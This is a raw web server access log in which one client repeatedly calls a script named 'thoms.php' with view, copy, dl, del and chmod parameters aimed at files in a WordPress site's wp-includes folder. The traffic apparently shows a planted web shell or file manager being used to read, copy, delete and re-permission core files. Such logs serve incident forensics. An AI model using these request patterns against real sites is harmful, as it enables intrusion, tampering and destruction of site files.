45.135.193.11 - - [11/Sep/2026:23:23:45 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=comment-template.php HTTP/1.1" 200 39109 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:45 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:45 -0400] "GET /thoms.php?dl=class-wp-tax-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?dl=class-wp-tax-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:45 -0400] "GET /thoms.php?dl=embed-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=embed-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:45 -0400] "GET /thoms.php?del=feed-atom.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=feed-atom.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:45 -0400] "GET /big-wife.com.tw/wp-includes/theme-templates.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:45 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=https-detection.php HTTP/1.1" 200 14087 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:45 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /thoms.php?chmod=theme-compat&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=theme-compat&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=view-config.php HTTP/1.1" 200 17552 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=view-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /thoms.php?chmod=class-wp-feed-cache.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /big-wife.com.tw/wp-includes/pluggable-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /big-wife.com.tw/wp-includes/template-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /thoms.php?chmod=template-loader.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fbookmark-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fbookmark-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /thoms.php?del=plugin.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=plugin.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /thoms.php?dl=rss-functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /big-wife.com.tw/wp-includes/block-template-utils.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /thoms.php?del=class-wp-block-templates-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59406 "http://163.245.207.76:443/thoms.php?del=class-wp-block-templates-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:46 -0400] "GET /thoms.php?chmod=class-wp-view-config-data.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-view-config-data.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:47 -0400] "GET /thoms.php?chmod=class-wp-plugin-dependencies.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-plugin-dependencies.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:47 -0400] "GET /big-wife.com.tw/wp-includes/post-formats.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:47 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:47 -0400] "GET /thoms.php?dl=sitemaps.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=sitemaps.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:47 -0400] "GET /big-wife.com.tw/wp-includes/wp-diff.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:47 -0400] "GET /thoms.php?del=https-migration.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=https-migration.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:47 -0400] "GET /thoms.php?chmod=wp-diff.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=wp-diff.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:47 -0400] "GET /thoms.php?del=sitemaps.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=sitemaps.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:47 -0400] "GET /thoms.php?chmod=class-wp-connector-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-connector-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:47 -0400] "GET /thoms.php?del=pomo&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=pomo&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php HTTP/1.1" 200 13210 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:47 -0400] "GET /thoms.php?dl=class-wp-block-list.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:48 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-tax-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:48 -0400] "GET /thoms.php?del=class-wp-feed-cache-transient.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:48 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:48 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-classic-to-block-menu-converter.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:48 -0400] "GET /thoms.php?chmod=icons.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=icons.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=abilities.php HTTP/1.1" 200 14843 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=abilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:48 -0400] "GET /thoms.php?chmod=class-wp-theme-json-resolver.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:48 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:48 -0400] "GET /thoms.php?chmod=link-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=link-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /thoms.php?chmod=load.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=load.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-default-filters.php HTTP/1.1" 200 13944 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-editor-context.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:48 -0400] "GET /thoms.php?del=cron.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=cron.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /big-wife.com.tw/wp-includes/fonts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /thoms.php?chmod=cron.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=cron.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /big-wife.com.tw/wp-includes/ms-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /thoms.php?del=ID3&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=ID3&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=rss-functions.php HTTP/1.1" 200 12100 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftheme.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftheme.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-pattern-categories-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /thoms.php?chmod=class-walker-category-dropdown.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /thoms.php?dl=ms-functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:50 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpluggable.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpluggable.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:50 -0400] "GET /big-wife.com.tw/wp-includes/block-patterns.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:49 -0400] "GET /thoms.php?del=class-wp-editor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59375 "http://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:50 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=rewrite.php HTTP/1.1" 200 18784 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:50 -0400] "GET /thoms.php?del=registration-functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59342 "http://163.245.207.76:443/thoms.php?del=registration-functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:50 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-supports.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:50 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-simplepie-sanitize-kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:50 -0400] "GET /thoms.php?dl=class-wp-block-parser-block.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-block.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:50 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:50 -0400] "GET /thoms.php?del=class-wp-script-modules.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-wp-script-modules.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:51 -0400] "GET /big-wife.com.tw/wp-includes/pomo/ HTTP/1.1" 200 1273 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:51 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=functions.wp-styles.php HTTP/1.1" 200 14577 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=functions.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:50 -0400] "GET /thoms.php?dl=class-wp-script-modules.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-wp-script-modules.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:51 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frest-api&p= HTTP/1.1" 200 12275 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frest-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:51 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php HTTP/1.1" 200 12491 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:51 -0400] "GET /thoms.php?dl=class-IXR.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-IXR.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
